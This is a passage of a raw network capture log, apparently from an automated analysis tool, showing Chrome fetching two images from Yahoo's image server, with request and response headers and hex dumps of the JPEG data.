#}p,A=m-,,mEAN@7b-ip,5h9g[BhvG}p4HtBhL,.BjaPhThT5rNQRo2=EVf\|JbiSJYJ7 6=is/!lN6$\t[Q$W
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: f9 62 7a 7d 70 f4 c7 50 34 fa e0 d8 a8 1a 7d 70 14 ac 54 0d 3e b8 36 2a 0b a7 d7 0a c5 40 d3 eb 85 62 a0 ba 0e 00 a8 e6 9f 5c 2d a2 da 73 96 06 04 55 8d 46 3b 4f 39 52 4d 45 2f 65 d1 15 4b 8a b4 94 19 11 d6 d2 9d 24 5c a5 29 55 88 02 f6 b1 b8 ba ae 45 8e df 3b 2c 9f 4b c1 ef 3e 49 74 d4 5d 79 d7 26 26 33 45 a0 97 16 ae 5a fc 57 52 42 8a 8a 6d b2 76 1b f4 b5 cf 6c 54 c9 cb df ca f7 0a 42 b4 e9 b1 ab 0e 93 ca e5 32 1d 04 b4 85 14 25 01 3d 54 4f 5d 44 1b 0e a7 ad b7 18 b7 87 88 df 2c 2e 49 2e 59 67 6d 86 5b 65 0d 46 a9 a8 b0 96 92 4a 15 e2 48 49 bd 88 1a 8d bb f6 3d 31 d6 62 2d 18 d2 94 8c 5c c6 da e0 90 9e db 33 58 64 86 f9 65 2a 2a bd d5 d2 fa 4f 95 ec 0d ed d3 6b 7a e3 73 23 13 43 27 46 94 bf e0 c7 c7 c9 78 fa dc 91 8c d3 de 92 15 15 32 90 f1 53 81 40 04 Data Ascii: bz}pP4}pT>6@b\-sUF;O9RME/eK$\)UE;,K>It]y&&3EZWRBmvlTB2%=TO]D,.I.Ygm[eFJHI=1b-\3Xde*Okzs#C'Fx2S@
2024-04-27 22:41:50 UTC	252	IN	Data Raw: c1 c5 c2 29 a3 54 88 78 10 ab 38 91 a4 90 41 00 81 64 91 b7 4b 63 cc 33 3e 0e 7e c7 a4 61 fc 4b f7 29 4a cb b9 aa 23 8e 17 22 59 d5 ed a5 97 4f 29 d4 16 c9 07 c7 62 37 b1 b2 4f 54 8d 8e 39 ac de 87 91 89 e1 1d 26 1f 58 c7 cb 5c 93 79 6b 32 d0 a2 b2 98 15 06 de 6d d7 15 75 b6 b4 25 05 56 00 75 3a 41 1f 3d c9 ef 89 fa 56 b3 c5 fd 74 56 ca d0 f5 0e d3 2d f1 1f 78 44 0d a1 94 c7 56 c5 94 90 51 bf 84 ec 48 b2 8d c8 16 17 eb 8d 1c 8c 65 92 fb c8 ac f2 12 e0 92 91 57 8c 97 84 09 6f b5 2c bd 77 14 37 bb 62 d7 b5 81 dc f9 ec 4e 35 fa 6c 9f 76 9f 25 0c 9a 7c ae 05 a3 cb 0e ad 32 63 24 a1 48 50 50 57 51 a4 7f c0 13 eb b8 c6 87 51 d1 be 68 a5 8f 2a 74 58 1a 8e dc a4 37 21 d0 0a c2 42 49 ff 00 ae 87 d3 1a 5d 2b d3 f6 79 32 7a a2 c8 7a fc 78 1c 37 0a 3b 47 52 Data Ascii: )Tx8AdKc3>~aK)J#"YO)b7OT9&X\yk2mu%Vu:A=VtV-xDVQHeWo,w7bN5lv%\|2c$HPPWQQh*tX7!BI]+y2zzx7;GR
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 1b 17 c6 87 ac c6 c7 e2 ca ab 0f 21 ab 16 11 d8 5f c4 d8 38 91 3d 2d 6e 51 5d bd 5d 1e 18 a2 db d4 45 d5 89 78 5e 0a a9 9d 0c 95 0b 95 5b e9 89 09 17 80 16 2f fa be d8 68 db 0d a2 fd b0 97 02 4a 81 a3 fc b8 0e 4c 72 3b a0 60 f2 36 81 a0 62 3a 0e d0 dc b1 e5 87 d0 28 1c b1 e5 82 b8 15 1d e5 1f 3c 20 83 94 7c f0 84 0e 59 f2 c0 a0 50 39 67 cb 05 70 2a 1e 52 21 b9 26 a9 11 86 c7 8d c7 db 4a 47 99 2a 03 19 dd 5d d6 3b ff 00 46 86 14 7f 98 8a 37 d5 0a 7b 92 d4 84 48 5d 95 f1 04 85 0b fc f6 c7 cf 9a af eb cb fd 9e e3 a0 ae 08 8c cb 4d 35 0e ab 98 5c 71 60 17 a6 b2 52 2d d4 08 8c 0b ff 00 37 fe 30 9b e4 0d 72 33 a7 af 93 93 6a 68 b5 de 79 99 67 97 7e 9a 94 bf d5 f0 fd f0 d6 c9 14 59 60 2a a7 7e 0a 84 a0 2d 40 21 1a 89 4d ac 2d d7 d7 0e f0 05 0e 4c d7 8c 0a 43 3c Data Ascii: !_8=-nQ]]Ex^[/hJLr;`6b:(< \|YP9gpR!&JG];F7{H]M5\q`R-70r3jhyg~Y`*~-@!M-LC<
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: b5 c5 e0 4a 5e e1 5a cb c1 3d 94 33 16 5b cd 94 aa ab 59 7a a6 c5 4b f0 f5 2a 2c 95 45 37 2c ba 00 25 26 e3 ef de c7 0f 96 86 ad 59 24 5d b2 b7 9c 93 2e 99 c3 4a dc 9a 9b 69 69 a8 8d a5 f2 d2 47 51 a8 12 35 74 ec 30 74 39 4d 07 5a ad 13 93 52 54 e3 8b 89 c9 53 72 00 d2 1c 00 68 4f 90 b0 de fb 62 b3 9f 23 a3 1f 97 82 42 9d 05 c7 69 d2 a4 bb 22 37 85 21 41 0b 67 42 87 5d bb 6d e5 d4 61 ce 4d 0d 5c 0c 69 f1 5d 0c ea 72 17 3f 51 da c8 05 7f 6b 03 f6 c2 7a 84 95 c0 bb 0c 85 8b c9 80 86 0a be 10 15 72 7e 7e 58 72 95 f8 22 f0 f9 1f 54 69 ad a5 f6 14 86 9b 25 e6 85 82 11 a4 8b 7a f4 fa 9b 0c 26 f8 b1 ea 23 8c b9 4f 69 35 05 7b cc 73 e1 6d 7a 55 ab c1 b8 20 f8 bf e5 88 d3 64 6f 87 41 6a 33 1d 83 55 8e cb 68 ba 1a 4a 52 01 55 81 24 8b df 71 7b 62 54 ec 23 66 6b b9 Data Ascii: J^Z=3[YzK*,E7,%&Y$].JiiGQ5t0t9MZRTSrhOb#Bi"7!AgB]maM\i]r?Qkzr~~Xr"Ti%z&#Oi5{smzU doAj3UhJRU$q{bT#fk
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 41 52 d5 b5 fb 0e b8 af 8f 87 7b cb f9 19 54 a0 49 67 cc d3 9a 23 71 d7 28 65 5a 65 61 a8 94 87 a0 a5 c9 b1 4b 60 99 21 c5 b8 92 6f 7b f8 52 84 91 e4 55 df 09 e2 7d 1b 20 f5 5f 5c 53 2d d6 73 43 bc 78 cc 39 6e 4d 69 08 a0 c6 81 64 c1 51 bb a8 5a 43 4a e6 0d ef 72 b5 a8 5c df 6b 79 6e bd 25 68 59 3f a9 4f 5a 8d 7e ae aa 92 a5 a1 b8 50 d5 ca 05 2a 05 44 80 07 73 b0 3d b7 c6 72 8d 32 d1 87 b2 c8 4f b5 f3 f2 e6 41 2a 75 51 bf 29 4a 1b 00 60 24 5a fd b7 d5 fc 63 7d 45 7a 43 21 b7 ea e8 65 c1 e6 39 59 fb 8a 4e 35 05 2d cc 75 53 1a 71 57 17 58 2e ba 37 b7 90 16 c2 d6 4b b5 01 9a 29 f7 66 49 7b 28 c1 62 1f 0e eb 49 62 1f 2b 99 52 56 a0 da 42 8a ac da 02 76 3d 4d 8a 7f 9c 56 cf 8d 2e 09 f0 39 b3 4f aa b9 39 74 2a 93 53 d0 e2 6f 1d 4a 09 53 7a 76 da c7 a0 bf 4f a1 Data Ascii: AR{TIg#q(eZeaK`!o{RU} _\S-sCx9nMidQZCJr\kyn%hY?OZ~PDs=r2OAuQ)J`$Zc}EzC!e9YN5-uSqWX.7K)fI{(bIb+RVBv=MV.9O9t*SoJSzvO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49815	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:50 UTC	517	OUT	GET /uu/api/res/1.2/GYWgpG844cdsv4JJfKMGEw--~B/Zmk9c3RyaW07aD0yNzI7cT05NTt3PTU2MDthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/3d089b898ea7ad8da5d544de2d15a0d8.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:50 UTC	1282	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 211421643456159671766120932597905203798,506573680972586326961225611793831006275,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="3d089b898ea7ad8da5d544de2d15a0d8.webp" Edge-Cache-Tag: 211421643456159671766120932597905203798,506573680972586326961225611793831006275,ae7a14591aaf8d474cdb3f92111c923e Etag: "b55e47e6d7fb31ff7f052b6c533cec73" Expiration: expiry-date="Fri, 25 Oct 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 27 Apr 2024 19:51:09 GMT Server: ATS Surrogate-Reporting: width=560,height=272,bytes=66824,owidth=960,oheight=540,obytes=136815,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Sat, 27 Apr 2024 20:22:52 GMT X-Served-By: cache-lga21927-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1714249373.514521,VS0,VE77 Age: 8338 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-lga21927-LGA cld_latency: 77 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 71564 ATS-Carp-Promotion: 1
2024-04-27 22:41:50 UTC	197	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 01 10 02 30 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 02 03 01 01 01 01 01 00 00 00 00 00 00 00 00 05 06 03 04 07 02 01 08 00 09 ff c4 00 4b 10 00 01 03 02 05 02 04 03 06 03 07 01 07 02 05 05 01 02 03 04 05 11 00 06 12 21 31 13 41 07 22 51 61 14 32 71 08 15 23 81 91 a1 Data Ascii: JFIFCC0K!1A"Qa2q#
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: d3 05 bb 4c f5 aa ce 7b 79 d7 e3 52 be d0 f4 17 5e 6d 60 a4 0a bb a8 0f 15 1d 83 7a ad a8 0e fe 51 6c 46 a2 a1 ee 20 db 4d ca df 6c 07 b2 5b 99 fb 2d 56 ab 15 0a 31 d4 56 f3 33 4a dc 28 4e c5 c4 b4 7c fa 07 9b cc 05 bc aa bd ad 80 64 4f d0 db c3 7b 12 d8 f1 b7 ed 11 1d 95 48 19 f2 71 62 e5 b5 2c ba 95 00 45 b7 37 04 0b f0 0f 73 b7 6c 2f a8 ce c1 ca 4f da 17 ed 06 cb 49 2e e6 b2 a5 38 0e 84 be b6 af a7 ba ad fe bd bd 70 b6 c0 0e c1 aa 2f da 7f c6 d7 5a 76 5b d5 d6 1d 61 0e 68 f3 47 b9 2a 20 58 00 91 bf f4 be f8 d5 4a 82 32 f8 11 56 a3 47 b1 f6 95 f6 90 f1 77 e0 5e 9f 22 3d 35 f6 99 6f 51 22 32 c8 1b 02 6e 52 48 1d b9 f5 c6 a5 d2 53 85 bd 8c b1 a8 a9 90 21 df b6 7f 88 f1 50 f3 b2 32 8d 31 c6 92 b2 94 9b 2c 28 1f 71 7b e3 9b 56 92 2b 70 74 12 a4 b2 f2 6c b9 Data Ascii: L{yR^m`zQlF Ml[-V1V3J(N\|dO{Hqb,E7sl/OI.8p/Zv[ahG* XJ2VGw^"=5oQ"2nRHS!P21,(q{V+ptl
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 72 8d 69 3d 47 40 37 3e 5e 52 3b 03 81 ca 0b b4 92 bd e3 e5 26 2b 76 7e 9a a6 8a 94 52 35 be b0 38 db b7 3b 1d b1 32 82 5a 4a 7f f7 80 a7 35 34 d3 df a5 36 d4 84 84 2b 41 92 a0 54 0d c9 b5 c6 fc 5f f9 db 13 28 23 4c c1 69 5e 3f 52 22 a5 0a 76 12 12 a5 2b 40 3f 10 ab 29 57 37 b1 fa 6f 80 ca 01 bc 93 49 f1 e6 8f 18 b6 5d 82 75 ba 0a 82 7e 27 72 9b 5e f6 04 9f ae 0f 28 0b 29 3b 8f e3 d5 0a 54 34 4f 6e 13 9d 15 39 a6 e8 93 75 0e 6e 74 f2 00 b1 df 8f 7c 06 50 57 2c 45 27 ed 11 44 8a 50 d4 aa 34 f4 92 d2 9c 1a 57 a8 1b 73 c5 cd ad be f8 be 02 b1 eb 7f 68 9c ac f1 52 9a a6 54 dd 42 01 5a cb 49 52 88 45 b9 36 07 b9 df eb 89 c0 37 62 ec 5f b4 06 4c 71 21 5d 1a 8b 69 ba 05 d4 42 79 d8 f2 3b 1e d8 2c 60 2c ce d5 e3 fe 4f e8 a9 f6 be 2c 20 17 00 2e 3a 11 75 27 7d ae Data Ascii: ri=G@7>^R;&+v~R58;2ZJ546+AT_(#Li^?R"v+@?)W7oI]u~'r^();T4On9unt\|PW,E'DP4WshRTBZIRE67b_Lq!]iBy;,`,O, .:u'}
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 38 1c 48 b7 a6 01 9a e0 1e ba d6 b0 06 09 7c 84 50 20 a1 45 27 b6 0d 98 12 5b a7 82 93 85 64 4b c9 1b c9 d4 82 2e 7f 2c 5c 5c 2b 1c 47 6d 01 43 cc 46 af 51 82 66 07 c0 6d 88 8c bd 63 f1 0d dc 71 7b e1 2c c5 e1 90 6a 2e 56 7e 6a c2 23 2d 85 83 bd ba b6 fe 63 19 de a7 e8 6a d1 08 46 c8 75 c0 b2 3e 10 b8 9e dd 35 a1 5f d7 02 b3 cf 21 35 39 b7 05 d7 72 dd 6a 2a 41 76 0b ca 03 95 16 14 6f f9 8c 5d e2 dc 0a da 7f 65 39 50 a6 3c 0b 4a 69 42 c3 95 02 2c 3f 3c 12 b4 0c db 92 ba a9 b5 58 51 dc 94 fd b4 04 94 b6 be a8 36 4f 20 01 7f 43 db 7c 60 dc c8 29 9c 7c 94 59 aa b6 b9 02 2a aa 7d 37 24 94 00 80 0e b4 58 f2 05 ec 7f 6b e0 b2 2f 28 61 89 9a 6d 69 e0 b8 f2 16 a7 83 e0 38 2c a4 15 28 8b 6e 13 7d f8 17 18 bd c8 0e c5 98 b0 73 04 86 1d 69 54 15 a9 a8 ca 0a 6d 4f 29 Data Ascii: 8H\|P E'[dK.,\\+GmCFQfmcq{,j.V~j#-cjFu>5_!59rjAvo]e9P<JiB,?<XQ6O C\|`)\|Y}7$Xk/(ami8,(n}siTmO)
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: d1 ee 60 3a 72 b3 16 b8 83 53 f1 22 4c 29 2e 41 8f 98 24 3c be a9 1d 46 d0 a2 da 40 e7 4a ee 2e 7d ed 84 32 64 32 25 b2 e2 4e 8e 74 ae 47 41 7e 35 69 48 52 7e 56 24 0b 2d 41 7c 58 ef b1 f5 c2 7a a3 1a 3b 38 e7 0b 33 e7 e9 0c c7 11 5e 49 71 7a 52 e2 13 24 6c 91 de e4 60 99 a9 b1 7b 75 02 33 73 a6 71 a3 ca 44 37 ba d2 16 f2 43 a1 56 fc 34 df 62 0a b1 23 6d 8a 68 a8 be 4e 63 f8 a1 53 5b 0a 79 b5 c4 91 d2 70 a0 9d 77 49 27 eb fc b0 4d 49 41 dc 60 24 ff 00 1d 2a b4 b0 4c da 20 53 66 e9 4a 92 d8 b9 f4 db 48 dc fd 71 9d a9 a8 e4 96 9e 4a bf f7 92 a7 b5 1d 52 ea 74 66 d1 f8 c1 94 32 0a 94 e9 3c db 48 00 8b e3 3b 1a 03 70 fc 67 cb f5 17 d5 01 ca 28 72 40 23 53 2d ba 85 28 24 8e 08 2b b5 fd 46 02 f8 12 c5 a1 5c c8 d5 19 0d be f6 48 61 d7 52 75 87 17 1d 95 a9 04 5e Data Ascii: `:rS"L).A$<F@J.}2d2%NtGA~5iHR~V$-A\|Xz;83^IqzR$l`{u3sqD7CV4b#mhNcS[ypwI'MIA`$*L SfJHqJRtf2<H;pg(r@#S-($+F\HaRu^
2024-04-27 22:41:50 UTC	71	IN	Data Raw: 61 b1 dc 6e 2d 81 c4 3d e0 63 d3 b3 25 6e 4b b5 79 89 9b 09 96 13 d3 8a c8 88 2e e7 f9 41 00 94 82 6e 4e db 6f 86 0a c2 5f 92 db 92 73 75 1a 32 aa 6e d0 69 88 42 34 a5 d5 32 52 92 7f c2 09 36 f3 0d b7 f5 1b 61 7f Data Ascii: an-=c%nKy.AnNo_su2niB42R6a
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 69 1b d9 0e 29 f9 be a1 3a a8 e4 97 28 f3 c4 75 25 69 0e b6 14 b4 92 4d ef b8 b0 d2 46 c3 f5 c1 ca 7f 60 e7 d8 31 2a b6 c4 08 0d 54 a1 c4 95 2d c4 85 29 b4 84 da 42 c9 48 01 2b 4d ee 41 e6 e6 c0 6a 3c 60 36 c3 77 ff 00 89 35 27 3c d4 1d 5f 4a 74 86 62 cb 6d b5 75 64 21 b4 25 b6 d4 6c 74 a9 46 fd ac 06 c7 9c 5c 51 6b f0 12 d6 eb c9 42 35 7a 6d 72 b2 a4 53 66 bc 56 e2 82 10 da 8a 94 d1 00 5f 50 4d ad bd bf c5 8d 54 e8 c5 fb 03 52 a4 db a8 7d 9c c3 2d 98 4d 44 f8 f5 36 f3 2a 28 51 5a 8a 4a 94 7e 5d ef b0 bd b7 04 e2 eb 4a 2f 88 29 66 5b ec 1d 85 99 6b 92 10 95 c8 8a 37 01 4a 4e 82 53 a4 1b 8f 30 f5 f4 b6 d8 4c 24 b7 23 37 71 92 cd 47 37 c7 a3 c1 91 22 42 5a 75 e9 08 bc 66 5b b2 16 e1 51 17 48 06 e3 81 b1 f6 e3 15 f1 9d ff 00 e8 37 d4 42 2f 92 56 aa 90 e4 52 Data Ascii: i):(u%iMF`1T-)BH+MAj<`6w5'<_Jtbmud!%ltF\QkB5zmrSfV_PMTR}-MD6(QZJ~]J/)f[k7JNS0L$#7qG7"BZuf[QH7B/VR
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 66 7d 14 e7 d0 19 84 0a 1e a6 4b 41 0a b8 52 da 52 4f e7 b6 07 74 2c 64 64 ad 42 c9 52 43 32 91 20 4c 75 2b 71 0e 46 2d bb f8 6d 84 8d 25 43 42 46 a1 be e1 56 3c db 1c 42 fa b8 b8 b6 c3 f3 25 33 12 32 64 44 8c d1 0d 2d b0 95 25 09 1c 00 15 75 5b ea ac 5f 52 72 ec 17 8b 31 72 99 62 44 8a 7b 4e 84 2d b8 ee 36 26 dd bd 36 b2 52 5a b2 8d 81 b9 bd c6 e3 13 82 de 32 2b c1 a4 d0 60 bc 94 aa 2b 88 70 87 10 94 f5 ac d8 09 22 ea 49 f3 5d 5b 9b dd 24 6f db 05 94 04 96 5e 0e 55 3f 2d cd 94 88 31 29 74 89 52 b5 84 17 5e 0f 36 eb a8 dc 1b e9 52 51 be f7 36 1d b6 c0 e5 02 ed 76 e0 33 58 ca 34 59 6d a9 95 65 29 d4 d2 c1 04 b8 c4 96 83 4a 49 03 70 54 4e ad fd 07 fa e2 64 39 a9 14 6b 9e 1f d3 29 9f 74 88 f3 57 d3 75 a5 2b a8 a5 21 cb b9 7b a5 2a f9 11 c1 20 d9 5c 8e f8 66 Data Ascii: f}KARROt,ddBRC2 Lu+qF-m%CBFV<B%32dD-%u[_Rr1rbD{N-6&6RZ2+`+p"I][$o^U?-1)tR^6RQ6v3X4Yme)JIpTNd9k)tWu+!{* \f
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 3a 13 a2 3b 64 7f 76 01 37 55 af ba 85 8d c0 ed be 2d ae 80 24 43 1a f5 23 2f 53 fc 2c a4 9a 9b b5 01 50 79 f7 54 75 2d 41 21 90 a2 4d 87 fc bf a6 33 f6 ad d4 d3 65 a5 d8 3e 9a a6 4c ab b2 2a 3d 48 b2 58 79 c0 d3 ae 94 1f 9c 70 85 5c 5f e6 3d fd b0 71 46 a5 1e 14 9b d4 d8 6b 80 69 b0 db 46 87 1b 0d 84 e8 6d 41 5f 29 de dc fa 60 72 6f 2c 36 59 7c 40 3e b1 32 bd 26 9e ff 00 f6 79 b8 4a 9b 1e dd 14 cc 25 2d af cd bd ed c7 1f be 16 d5 02 6a 79 40 9d 57 ca d9 a1 ea b5 1a 4a 61 41 9c f4 97 96 c4 e7 24 ab a8 58 8e ab 6b 50 58 b1 27 49 22 de c3 8c 1e 6b 61 32 93 c5 83 f9 86 ab 1c 46 55 35 b4 25 a6 5a 48 4b 4d a7 e5 48 1f f3 9c 55 35 9b dc 6d 49 58 5b 14 b2 8e 65 66 04 79 6a 90 e2 1c 51 59 09 09 3b db b6 1e eb 79 33 53 c7 c8 dc 65 d0 e4 53 17 36 45 4d b8 ce ac 6b Data Ascii: :;dv7U-$C#/S,PyTu-A!M3e>L*=HXyp\_=qFkiFmA_)`ro,6Y\|@>2&yJ%-jy@WJaA$XkPX'I"ka2FU5%ZHKMHU5mIX[efyjQY;y3SeS6EMk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49813	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:50 UTC	530	OUT	GET /uu/api/res/1.2/ONe9Ngr.AKVsKd88e7UP.Q--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/afe25c90-04a4-11ef-97bf-b18c6d9d8b4e.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:50 UTC	1298	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 328877703447279952952452636028490862922,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="afe25c90-04a4-11ef-97bf-b18c6d9d8b4e.webp" Edge-Cache-Tag: 328877703447279952952452636028490862922,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "cf69d3bd81c39b3c786961bc0def39d6" Last-Modified: Sat, 27 Apr 2024 14:44:52 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=356,height=180,bytes=10192,owidth=4000,oheight=2253,obytes=635334,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 6bc44168d3499989282cc9d6eb8003e7 Accept-Ranges: bytes Date: Sat, 27 Apr 2024 16:12:02 GMT X-Served-By: cache-iad-kiad7000157-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 0 X-Timer: S1714234322.377621,VS0,VE5 Age: 23388 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_id: 6bc44168d3499989282cc9d6eb8003e7 cld_by: cache-iad-kiad7000157-IAD cld_latency: 5 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 25392 ATS-Carp-Promotion: 1
2024-04-27 22:41:50 UTC	197	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 00 b4 01 64 03 01 11 00 02 11 01 03 11 01 ff c4 00 1e 00 00 00 07 01 01 01 01 00 00 00 00 00 00 00 00 00 02 03 04 05 06 07 08 01 00 09 0a ff c4 00 49 10 00 01 03 03 02 04 03 06 03 04 06 08 05 05 01 00 01 02 03 04 00 05 11 06 12 07 21 31 41 13 51 61 08 14 22 32 71 81 15 91 a1 Data Ascii: JFIFCCdI!1AQa"2q
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: f4 46 36 b6 b4 5b d9 45 b9 c8 53 9b 54 44 86 4a 44 65 a8 0d a3 1c 88 18 23 d6 ac fa 19 3e cd 15 d1 ba 49 63 07 cd 4b 5f f7 19 a6 97 74 4f 97 63 66 f0 b6 68 9f a1 2c ee 95 ee 52 63 21 0a 3e a9 e5 fc bf 5a b5 8b db 23 0f b9 5f 7b 5d 5b bd eb 84 e2 66 3f d0 2e 71 df dd e4 0e e4 1f fe 75 a4 d0 1b 57 98 f9 95 7a 9a f7 26 2c 07 35 d1 cc f1 da 5c 40 c1 d3 89 64 6d b3 c0 90 42 92 48 23 98 23 b5 35 56 9a ab 07 4d fa ac 0b 87 95 e4 d7 5c 25 d6 83 58 e9 18 cf 3e bf ed b1 3f b3 cb 07 a9 58 1f 37 d1 43 07 eb 9a f1 87 b4 0e 17 97 0e ea b3 8e 3c 92 dd 1d 3f 49 bb ea 68 22 6a 7a 57 3c 65 c4 41 d3 6d 8e 23 a0 8e 74 a1 69 60 1a 48 a0 18 63 7d e8 00 3d 34 04 b8 e4 35 34 52 ec 04 0d 34 cb 62 92 c8 65 0c 86 83 0f 5a 0c 52 59 39 48 c8 47 a9 2d 64 30 d4 0c e6 9a 62 83 12 31 9a Data Ascii: F6[ESTDJDe#>IcK_tOcfh,Rc!>Z#_{][f?.quWz&,5\@dmBH##5VM\%X>?X7C<?Ih"jzW<eAm#ti`Hc}=454R4beZRY9HG-d0b1
